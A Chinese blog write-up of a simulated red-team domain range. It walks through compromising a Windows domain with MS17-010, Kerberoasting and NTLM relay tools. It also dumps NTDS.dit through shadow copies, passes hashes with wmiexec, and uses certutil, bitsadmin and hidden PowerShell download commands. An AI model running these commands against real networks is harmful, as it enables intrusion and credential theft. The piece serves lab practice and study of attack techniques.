内网练习(四)- 知识梳理

环境为模拟环境,文章使用的均为公开测试工具且未涉及到各个方法的原理。

分享便是我最好的老师。 ——Micropoor

0x00 前言

在渗透测试中,经常会遇到一些奇奇怪怪的环境。本文所采用的环境是一个红蓝对抗靶场,以贴切实际环境为出发点。

  • 目的:摸清整个内网拓扑图、获取域控内的flag文件及指定域用户手中的flag。
  • 提示:flag{ooxx-ooxx}
  • 初始网络拓扑

    初始网络拓扑

0x01 靶机信息收集

因为是模拟环境,所以初始权限为win7域用户权限(上了RAT–>http协议)。

  • DKRST011的基本信息
1
2
3
4
5
6
7
8
9
10
机器名: DKRST011
权限: 域用户权限(rcoil\tk001)
系统: Windows 7 Professional 6.1.7601 Service Pack 1 Build 7601 x64
Domain: rcoil.local
IP地址: 172.16.238.29
杀软: McAfee(非最新版)
补丁情况:[*240]
.NET版本:V1.0、V1.1、V2.0、V3.0、V3.5、V4.0
已有操作: 密码拖取(需要未提权)、全盘文件列表获取、浏览器浏览记录及密码、TCP连接及进程等相关基础操作
额为信息: 192.168.5.6:8080为内网代理服务 --> Linux

在收集信息的时候发现TCP连接都是内网连接,而RAT的进程连接也是内网,感觉网络有问题。

探测出网情况:此机器为半脱网情况,dns、icmp、udp均不可出来,http与https协议可出网。所有出网程序连接均为192.10.22.6:8080,由此初步判断为代理出网情况,且是http无限制出网。

通过对带有password等关键字眼的文件进行搜索拖取,当作储备。

  • 内网存活探测
1
2
3
4
5
- ICMP
- SMB
172.16.88.0/16
192.168.5.0/16
....

0x02 对域内信息进行获取

从全盘文件列表中可看到setspn是存在的,但是在我进行对域信息进行收集的时候发现已经没了(两个操作之间隔着一段时间)。为了方便操作(socks代理),所以使用Cobalt Strike上线操作。

1)问题(均为RAT上运行)

  • Cobalt Strike免杀问题;
  • powerview运行无反应(powershell、C#);
  • Bloodhound/Sharphou运行无反应;
  • setspn.exe 被删除。

2)方案

  • 免杀shellcode,使用加载器运行,例子
  • Cobalt Strikeexecute-assembly运行本地相应C#程序;
  • 使用GetUserSPNs 替换setspn使用;
    1
    python GetUserSPNs.py -request -dc-ip 192.10.22.22 pentestlab.com/rcoil

3)域信息的收集结果大致如下

1
2
3
4
5
6
7
域控:
TTT-2_172.16.88.21_windows 2016 x64 (主域控)
TTT-V_172.16.88.20_windows 2016 x64 (辅助域控)
域管理员:10+
域用户:200+
域内机器:150+
其他:略....

0x03 域控(域管理员)权限获取方法

按照当前权限,梳理出一些知识点,大概可支持当前应用(知识串联)。

1) 常规方法及结果

  • 组策略漏洞(GPP)–> (MS14-025)

    1
    2
    3
    4
    5
    6
    7
    方法:
    enum4linux -a -u tk001 -p P@ssw0rd 172.16.88.21 (数据收集)
    smbclient //172.16.88.21/SYSVOL -U tk001
    或者使用msf
    auxiliary/scanner/smb/smb_enum_gpp
    [*] 结果:
    失败(其实单单看是2016 server系统就知道不会成功)
  • MS17-010

    1
    2
    3
    4
    5
    6
    7
    8
    [*]msf
    auxiliary/admin/smb/ms17_010_command
    auxiliary/scanner/smb/smb_ms17_010
    exploit/windows/smb/ms17_010_eternalblue
    exploit/windows/smb/ms17_010_eternalblue_win8
    exploit/windows/smb/ms17_010_psexec
    [*] 结果:
    TTT-V_172.16.88.20成功执行命令
  • Kerberoasting

    1
    2
    3
    4
    5
    6
    7
    [*]GetUserSPNs.py
    python GetUserSPNs.py -request -dc-ip 192.10.22.22 pentestlab.com/rcoil
    关闭Kerberos预身份认证
    [*]Rubeus --> https://github.com/GhostPack/Rubeus
    Rubeus.exe asreproast # 枚举所有域用户(或者指定)Roasting AS-REPs
    [*] 结果:
    失败

2) 主流方法及结果

  • 基于资源约束委派(RBCD) –> (未尝试)

    1
    2
    3
    4
    5
    6
    [*] 条件:2012+域控制器
    [*] powermad
    [*] powerview
    [*] Rubeus
    [*] SharpAllowedToAct
    https://github.com/pkb1s/SharpAllowedToAct
  • NTLM中继攻击(未尝试)

    1
    2
    3
    4
    5
    6
    7
    8
    [*] Responder
    windows版本:https://github.com/Kevin-Robertson/Inveigh(修改函数名绕杀软等方法)
    linux版本:https://github.com/SpiderLabs/Responder
    [*] mitm6+ntlmrelayx
    https://github.com/fox-it/mitm6
    https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
    [*] CrackMapExec
    https://github.com/byt3bl33d3r/CrackMapExec
  • Exchange (未启用Exchange)

    1
    2
    3
    4
    5
    6
    7
    [*] Privexchange
    privexchange.py -ah 172.16.238.29 TTT-2.rcoil.local -u tk001 -d rcoil.local -p P@ssw0rd # Privexchange.py对echange进行API调用
    ntlmrelayx.py -t ldap://172.16.88.21 --escalate-user tk001 # ntlmrelayx将Exchange服务器的凭据中继到主DC,然后升级tk001的权限
    secretsdump.py rcoil/tk001@TTT-2.rcoil.local -just-dc

    [*] Exchange2domain --> 一体化的privexchange工具
    https://github.com/Ridter/Exchange2domain

3) 辅助工具

除了以上这些点,还有很多方法,最无脑的就是查看当前用户具有读权限的域内所有共享,信息收集,翻一轮、

1
2
3
[*] powerview
Find-DomainShare -CheckShareAccess | fl | Out-File domain-shares.txt
[*] 略....

0x04 域控权限

TTT-V_172.16.88.20使用MS17-010成功执行命令。

域控信息:

1
2
3
4
5
6
7
8
9
10
11
12
机器名: TTT-V
权限: 域控权限
系统: Windows Server 2016 Standard 10.0.14393 N/A Build 14393 x64
OS Configuration: Additional/Backup Domain Controller
Domain: rcoil.local
IP地址: 172.16.88.20
杀软: McAfee(非最新版)
补丁情况:[*2]
.NET版本:V1.0、V1.1、V2.0、V3.0、V3.5、V4.0
端口情况:无Web --> TTT-2_172.16.88.21存在80端口IIS服务
域信任关系:rcoil.local(root)
demo.rcoil.local

往下的思路是这样的:

1
2
3
[*] 本机flag获取
[*]TTT-V机器上拖取NTDS.dit文件,本地恢复获取域内所有用户hash。当然,能获取到明文是最好的。
[*] 使用CrackMapExecwmiexec等工具执行相关操作(重点:以域管权限启动CS,后使用PTH攻击 --> 简直完美)。

1)实施

  • flag获取

    1
    2
    3
    4
    5
    6
    [*] dir
    dir /s flag
    [*] powerview(可选)
    Invoke-Filefinder -Threads 100 -Verbose -Terms flag -IncludeC -OutFile C:\Windows\Temp\flags.txt

    flag{Genius_only_means_hard-working_all_one's_life}
  • 直接反弹MS17-010的shell进行操作

    1
    2
    bind_tcp --> 失败
    bind_pipe --> 失败
  • IPC操作

    1
    2
    3
    4
    [*] 不建议之操作
    添加添加系统隐藏账号密码进行IPC一系列操作
    [*] 域管权限
    直接从域控IPC到DKRST011进行工具复制 --> 拒绝访问
  • NTDS.dit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    vssadmin create shadow /for=c: 
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\NTDS.dit c:\windows\temp\ntds.dit
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM c:\windows\temp\system.hive
    vssadmin delete shadows /shadow={1xxxxx0b-e47d-xxxx-969f-8xxa4xxxx0xx} /quiet
    最后通过 //172.16.88.21/SYSVOL 拖到 DKRST011 机器,本地恢复
    python secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL

    域管理员的password为hash格式。

    后使用 CrackMapExec、wmiexec等工具进行进一步测试。

    注:调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036

2)遇到问题

执行以下命令:

1
wmiexec.py -hashes LMHASH:NTHASH rcoil/administrator@172.16.238.29 "c:\\payload.exe"

Cobalt Strike未上线,这个情况其实是第一次见。

以多种形式的payload运行也无果。

确认非协议问题,因为以同样的程序,在域用户权限下正常启动并上线。

3)方案

  • 获取明文密码,计划任务启动;
  • 添加HKLM自启注册表

0x05 获取域管明文密码

使用powerview查询域管登陆过的机器:

1
2
3
# Find-DomainUserLocation == old Invoke-UserHunter
# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

最后选择了172.16.10.29win 2008 server的机器,而且这台机器上存在AdAudit Plus

blog_2019-03-25_16-37-30

由于目前没有任何容器可提供文件传输,所以自建。

  • DKRST011机器创建FTP或者Web服务;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    import SimpleHTTPServer
    import SocketServer
    import sys
    PORT = 80
    if len(sys.argv) != 2:
    print("use: web.exe port")
    else:
    PORT = int(sys.argv[1])
    Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("", PORT), Handler)
    print "SimpleHTTPServer is ", PORT
    print "by k8gege"
    httpd.serve_forever()
    来源:https://raw.githubusercontent.com/k8gege/K8tools/master/web.py
    注:这类型操作也需要添加防火墙规则,防止弹窗
    netsh advfirewall firewall add rule name="web.exe" dir=in program="c:\Users\Public\Downloads\web.exe" action=allow
  • 使用certutilbitsadminpowersehll等自带程序下载;

    1
    2
    3
    [*] certutil -urlcache -split -f  http://172.16.238.29/1.rar 2.rar
    [*] bitsadmin /rawreturn /transfer 任务名 http://172.16.238.29/1.rar 2.rar
    [*] powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://172.16.238.29/1.rar','c:\windows\temp\ 2.rar')"

    这里有人就会问了,为什么不将需要使用的东西放入到域共享目录里面,原因是要操作的机器访问域共享提示无法访问。

往下就是Procdump的一些操作,成功获取到明文密码。

1
2
3
4
[*] 高权限计划任务启动CS服务端,未上线。
[*] 添加HKLM自启动,未上线。

这是什么问题呢?(未解决)

0x05 其余flag获取

从提示与目的来判断,剩下的2个flag位于demo.rcoil.local域的域控、域用户名为flagav的机器上。

  • flagav用户机器
    直接从AdAudit Plus获取到域用户flagav的登陆情况,这样就不用去翻日志了。
    使用CrackMapExecwmiexec等工具执行命令查找flag:

    1
    flag{Cease_to_struggle_and_you_cease_to_live}
  • 子域域控flag

使用主域控的域管可直接登陆子域的域控

1
flag{Success_grows_out_of_struggles_to_overcome_difficulties}

0x0x 最后的拓扑

好多没去了解,就草草结束了。

网络拓扑

免责声明:文章中所提到的工具/教程,不得用于商业或非法用途,否则后果自负。

!坚持技术分享,您的支持将鼓励我继续创作!